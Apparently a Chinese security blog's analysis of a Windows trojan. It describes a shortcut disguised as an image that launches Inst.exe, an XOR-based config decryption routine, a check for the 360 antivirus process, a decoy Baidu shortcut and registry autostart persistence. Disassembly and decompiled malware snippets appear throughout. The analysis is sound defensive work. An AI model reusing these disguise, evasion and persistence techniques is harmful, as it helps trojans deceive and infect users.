标签:
前言
这个样本的逻辑关系比较强,根据不同的环境在做不同的操作,让整个程序完整运作起来有大量的程序参与进来。则个样本已经有5年历史,饱经360的查杀,却依旧在不断的更新。采取各种免杀手段去避开360安全卫士的查杀,该样本对用户的诱惑性也特别的强,该样本主要利用了用户的安全意识薄弱,诱导用户点击一些看似不会造成危害的快捷方式,在用户点击后,同时也会出现用户预期的效果,以蒙蔽用户
样本信息
MD5值
inst.exe:d88776edf7fea53047f30474b2ee6f74
load.exe:04dd8865c726052ec1f8c5d3316fcf7f
baidu.exe:04dd8865c726052ec1f8c5d3316fcf7f
1.exe:04dd8865c726052ec1f8c5d3316fcf7f
config.dat:dcd04e7d7dfeb8e0af41858f7a4f444e
io.dat:5cf20c496f0f2af23386e08c514a6f55
DBToken_ABC.dll:5cdd73070492723baf892c9c9dd7bcb1
样本分析
该样本初看是一个被隐藏的文件夹和一个快捷方式,一般用户的文件选项都没有显示隐藏的文件和文件夹这个选项,所以用户看到的往往是只有那一个快捷键方式,然后这个文件夹里面就是用户噩梦的开始
快捷方式:
指向样本的主体程序,被命名为图片,以诱导用户点击该快捷方式,当你点击这个快捷方式的时候,的确会打开一个图片,让用户以为自己是打开了一个图片,但其实是运行了inst.exe
C:\WINDOWS\system32\cmd.exe /c 1\Inst.exe
inst.exe
在用户以为只是是打开了一个图片的时候,一些东西开始潜伏在用户电脑中了,接下来我们就来看是如何潜伏的
0x01加载恶意dll
该样本在程序执行的时候,会首先获取到DBCsp_ABC.dll中的一些函数(这里贴出部分),为后面的做铺垫
00401002 |. 68 4CE34000 push Inst.0040E34C ; /FileName = "DBCsp_ABC.dll"
00401007 |. 8BF1 mov esi,ecx ; |
00401009 |. FF15 64E14000 call dword ptr ds:[<&KERNEL32.LoadLibrar>; \LoadLibraryA
0040100F |. 8B3D 68E14000 mov edi,dword ptr ds:[<&KERNEL32.GetProc>; kernel32.GetProcAddress
00401015 |. 68 38E34000 push Inst.0040E338 ; /ProcNameOrOrdinal = "CPAcquireContext"
0040101A |. 50 push eax ; |hModule
0040101B |. 8946 24 mov dword ptr ds:[esi+0x24],eax ; |
0040101E |. FFD7 call edi ; \GetProcAddress
00401020 |. 8946 28 mov dword ptr ds:[esi+0x28],eax
00401023 |. 8B46 24 mov eax,dword ptr ds:[esi+0x24]
00401026 |. 68 28E34000 push Inst.0040E328 ; /ProcNameOrOrdinal = "CPGetProvParam"
0040102B |. 50 push eax ; |hModule
0040102C |. FFD7 call edi ; \GetProcAddress
0040102E |. 8B4E 24 mov ecx,dword ptr ds:[esi+0x24]
00401031 |. 68 18E34000 push Inst.0040E318 ; /ProcNameOrOrdinal = "CPSetProvParam"
00401036 |. 51 push ecx ; |hModule
00401037 |. 8906 mov dword ptr ds:[esi],eax ; |
00401039 |. FFD7 call edi ; \GetProcAddress
0040103B |. 8B56 24 mov edx,dword ptr ds:[esi+0x24]
0040103E |. 68 04E34000 push Inst.0040E304 ; /ProcNameOrOrdinal = "CPReleaseContext"
00401043 |. 52 push edx ; |hModule
00401044 |. 8946 04 mov dword ptr ds:[esi+0x4],eax ; |
00401047 |. FFD7 call edi ; \GetProcAddress
0x02解密config.dat文件
通过调用GetModuleFileName函数获取到当前加载的模块的目录,然后通过字符串拼接的方式获取到文件路径,获取文件中的内容,经过简单减法和异或解密出config.dat文件
10001043 57 push edi
10001044 68 04010000 push 0x104
10001049 8D85 F8FEFFFF lea eax,dword ptr ss:[ebp-0x108]
1000104F 50 push eax
10001050 6A 00 push 0x0
10001052 FF15 18700010 call dword ptr ds:[<&KERNEL32.GetModuleF>; kernel32.GetModuleFileNameA
10001058 8D8D F8FEFFFF lea ecx,dword ptr ss:[ebp-0x108]
1000105E 51 push ecx
1000105F FF15 18710010 call dword ptr ds:[<&SHLWAPI.PathRemoveF>; SHLWAPI.PathRemoveFileSpecA
10001065 68 D0880010 push DBToken_.100088D0 ; ASCII "\config.dat"
1000106A 8D95 F8FEFFFF lea edx,dword ptr ss:[ebp-0x108]
10001070 52 push edx
10001071 FF15 14700010 call dword ptr ds:[<&KERNEL32.lstrcatA>] ; kernel32.lstrcatA
解密代码
10001100 8A10 mov dl,byte ptr ds:[eax]
10001102 80F2 F1 xor dl,0xF1
10001105 80EA 0F sub dl,0xF
10001108 8810 mov byte ptr ds:[eax],dl
1000110A 40 inc eax
1000110B 4E dec esi
1000110C ^ 75 F2 jnz XDBToken_.10001100
解密前
解密后
0x03 注册表
这个Inst.exe里面有很多关于中国农业银行的信息,写入了大量的与中国农业银行相关的注册表(详情可见下表),样本是一个非常乱的一个样本,里面储存了大量的其他版本的信息,从这里可以看出,这一系列的样本不仅仅有着不同的用处,有的甚至是银行线相关,在对这快分析的时候,不仅不会看到有注册表的信息,还会看到一些与他中国农业银行的第二代K宝以及盾相关信息。
0x04创建线程运行解密后的config.dat
说到这个configf.dat被解密后的执行流程是很复杂的,下面就是解密后的config.exe的执行流程。
对解密后的config.dat的详细分析
1.首先判读当前运行的程序的名字是否已被重新命名为load.exe在被运行,如果是就执行dllhost.exe,然后退出进程
if ( StrStrA(&Filename, Srch) )
{
SHGetSpecialFolderPathA(0, &pszPath, 36, 0);
lstrcatA(&pszPath, aLimitDllhost_e);
WinExec(&pszPath, 0);
ExitProcess(0);
}
2.如果不是,继续向下的时候,会先判断当前的进程是不是baidu.exe,如果是就会通过创建线程的形式,让dllhost.exe运行起来,并且通过调用ShellExecuteA函数打开http://www.baidu.com,执行完就会退出程序
push 0 ; dwCreationFlags,
push 0 ; lpParameter
push offset StartAddress ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call ds:CreateThread
push 5 ; nShowCmd
push 0 ; lpDirectory
push 0 ; lpParameters
push offset File ; "http://www.baidu.com"
push offset Operation ; "open"
push 0 ; hwnd
call ds:ShellExecuteA
3.如果不是就创建crossfire.exe并运行它,crossfire是来自config.dat文件中的一个资源文件,是通过读取资源文件的形式获取到crossfire的内容并创建了crossfire.exe文件(dllhost.exe也是通过查找解密后的config.dat中的资源文件释放出来的)
result = FindResourceA(hModule, (LPCSTR)(unsigned __int16)a2, lpType);
v5 = result;
if ( result )
{
result = (HRSRC)LoadResource(hModule, result);
v6 = result;
if ( result )
{
result = (HRSRC)CreateFileA(lpFileName, 0x40000000u, 2u, 0, 2u, 0x80u, 0);
v7 = result;
if ( result )
{
v8 = SizeofResource(hModule, v5);
WriteFile(v7, v6, v8, &NumberOfBytesWritten, 0);
CloseHandle(v7);
result = (HRSRC)1;
}
}
}
4.判断当前进程的名是否是setup.exe,如果是就判断是否是xp系统。如果是xp系统就运行dllhost.exe,如果不是和进程名不是setup.exe一样去解密io.dat文件打开图片,并运行dllhost.exe
解密后的io.dat
解密后,创建一个图片文件,并将刚刚的图片数据写入到新创建的图片中
然后调用ShellExecuteA函数将图片打开,让用户以为自己确实是打开的一张图片
0093ABD4 6A 01 push 0x1
0093ABD6 6A 00 push 0x0
0093ABD8 8D8424 80010000 lea eax,dword ptr ss:[esp+0x180]
0093ABDF 6A 00 push 0x0
0093ABE1 50 push eax
0093ABE2 68 44049500 push 0x950444 ; ASCII "open"
0093ABE7 6A 00 push 0x0
0093ABE9 FF15 C4529400 call dword ptr ds:[0x9452C4] ; SHELL32.ShellExecuteA
5.将一些样本运行需要的文件copy到新创建的目录下
lea eax, [esp+0E20h+String2]
lea ecx, [esp+0E20h+ExistingFileName]
push eax ; lpString2
push ecx ; lpString1
call ebx ; lstrcpyA
lea edx, [esp+0E20h+ExistingFileName]
push offset aConfig_dat ; "\\config.dat"
push edx ; lpString1
call esi ; lstrcatA
push 0 ; fCreate
lea eax, [esp+0E24h+pszPath]
push 24h ; csidl
push eax ; pszPath
push 0 ; hwnd
call ebp ; SHGetSpecialFolderPathA
lea ecx, [esp+0E20h+pszPath]
push offset aLimitConfig_da ; "\\limit\\config.dat"
push ecx ; lpString1
call esi ; lstrcatA
lea edx, [esp+0E20h+pszPath]
push edx ; lpFileName
call ds:DeleteFileA
mov edi, ds:CopyFileA
lea eax, [esp+0E20h+pszPath]
push 0 ; bFailIfExists
lea ecx, [esp+0E24h+ExistingFileName]
push eax ; lpNewFileName
push ecx ; lpExistingFileName
call edi ; CopyFileA
lea edx, [esp+0E20h+String2]
lea eax, [esp+0E20h+ExistingFileName]
push edx ; lpString2
push eax ; lpString1
call ebx ; lstrcpyA
lea ecx, [esp+0E20h+ExistingFileName]
push offset aBfgupdatem_dll ; "\\BFGupdateM.dll"
push ecx ; lpString1
call esi ; lstrcatA
push 0 ; fCreate
lea edx, [esp+0E24h+var_498]
push 24h ; csidl
push edx ; pszPath
push 0 ; hwnd
call ebp ; SHGetSpecialFolderPathA
lea eax, [esp+0E20h+var_498]
push offset aLimitBfgupdate ; "\\limit\\BFGupdateM.dll"
push eax ; lpString1
call esi ; lstrcatA
lea ecx, [esp+0E20h+var_498]
push offset NewFileName ; "c:\\1.jpg"
push ecx ; lpExistingFileName
call ds:MoveFileA
lea edx, [esp+0E20h+var_498]
push 0 ; bFailIfExists
lea eax, [esp+0E24h+ExistingFileName]
push edx ; lpNewFileName
push eax ; lpExistingFileName
call edi ; CopyFileA
6.然后会通过创建快照遍历进程看是否存在一个名叫360Tray.exe的进程(360Tray.exe是360安全卫士实时监控程序)
v1 = CreateToolhelp32Snapshot(2u, 0);
v2 = operator new(0x128u);
*(_DWORD *)v2 = 296;
if ( Process32First(v1, (LPPROCESSENTRY32)v2) )
{
if ( !strcmpi((const char *)v2 + 36, Str2) )
return *((_DWORD *)v2 + 2);
if ( Process32Next(v1, (LPPROCESSENTRY32)v2) )
{
while ( lstrcmpiA((LPCSTR)v2 + 36, Str2) )
{
if ( !Process32Next(v1, (LPPROCESSENTRY32)v2) )
return 0;
}
return *((_DWORD *)v2 + 2);
}
}
7.如果存在360安全卫士的实时监控程序,就会将当前目录下的1.exe程序,重命名为baidu.exe到C:\Windows\limit\文件夹下面去,而且在同目录下会创建一个百度的图标,还会在桌面上创建一个指向baidu.exe的快捷方式。写马的也是用心良苦,想通过百度链接图标来诱惑用户点击
push 0 ; fCreate
lea eax, [esp+0E24h+pszPath]
push 24h ; csidl
push eax ; pszPath
push 0 ; hwnd
call ebp ; SHGetSpecialFolderPathA
lea ecx, [esp+0E20h+pszPath]
push offset aLimitTb_ico ; "\\limit\\tb.ico"
push ecx ; lpString1
call esi ; lstrcatA
lea edx, [esp+0E20h+pszPath]
push edx ; lpFileName
call sub_1000A030
add esp, 4
lea eax, [esp+0E20h+CurrentDirectory]
push 0 ; fCreate
push 19h ; csidl
push eax ; pszPath
push 0 ; hwnd
call ebp ; SHGetSpecialFolderPathA
lea ecx, [esp+0E20h+CurrentDirectory]
push offset a_lnk ; "\\百度一下.lnk"
push ecx ; lpString1
call esi ; lstrcatA
lea edx, [esp+0E20h+String2]
lea eax, [esp+0E20h+ExistingFileName]
push edx ; lpString2
push eax ; lpString1
call ebx ; lstrcpyA
lea ecx, [esp+0E20h+ExistingFileName]
push offset a1_exe ; "\\1.exe"
push ecx ; lpString1
call esi ; lstrcatA
push 0 ; fCreate
lea edx, [esp+0E24h+FileName]
push 24h ; csidl
push edx ; pszPath
push 0 ; hwnd
call ebp ; SHGetSpecialFolderPathA
lea eax, [esp+0E20h+FileName]
push offset aLimitBaidu_exe ; "\\limit\\baidu.exe"
push eax ; lpString1
call esi ; lstrcatA
lea ecx, [esp+0E20h+FileName]
push ecx ; lpFileName
call ds:DeleteFileA
lea edx, [esp+0E20h+FileName]
push 0 ; bFailIfExists
lea eax, [esp+0E24h+ExistingFileName]
push edx ; lpNewFileName
push eax ; lpExistingFileName
call ds:CopyFileA
8.如果不存在这个进程样本就开始写注册表,指向load程序,使Load开机时能够自己启动,然后就会退出程序
00ABF010 80000001 |hKey = HKEY_CURRENT_USER
00ABF014 009503F0 |Subkey = "Software\Microsoft\Windows NT\CurrentVersion\Windows"
00ABF018 00000000 |Reserved = 0
00ABF01C 00000000 |Class = NULL
00ABF020 00000000 |Options = REG_OPTION_NON_VOLATILE
00ABF024 000F003F |Access = KEY_ALL_ACCESS
00ABF028 00000000 |pSecurity = NULL
00ABF02C 00ABF044 |pHandle = 00ABF044
00ABF030 00ABF04C \pDisposition = 00ABF04C
RegCreateKeyExA(HKEY_CURRENT_USER, SubKey, 0, 0, 0, 0xF003Fu, 0, &phkResult, &dwDisposition);
RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)&String1, strlen(&String1) + 1);
RegCloseKey(phkResult);
总结:
该样本之所以会存在这么多年,很大一部分和用户有关,利用用户的心里弱点,比如外挂之类的。因为很多外挂都会让使用者先退出安全卫士。所以希望广大用户在下载软件程序和使用外挂的时候,需要特别的注意,如果桌面多了一些快捷方式,就需要你引起高度的重视,你很大一部分的可能已经被中马了,应该及时查杀,你不可能保证你没有中招,为了你自身隐私的安全以及你的财产安全养成良好的上网习惯以及定期扫描的习惯。以免引起不必要的个人经济损失以及隐私泄露。360安全卫士已能完整查杀该样本。
标签:
原文地址:http://www.cnblogs.com/kangxiaopao/p/4796897.html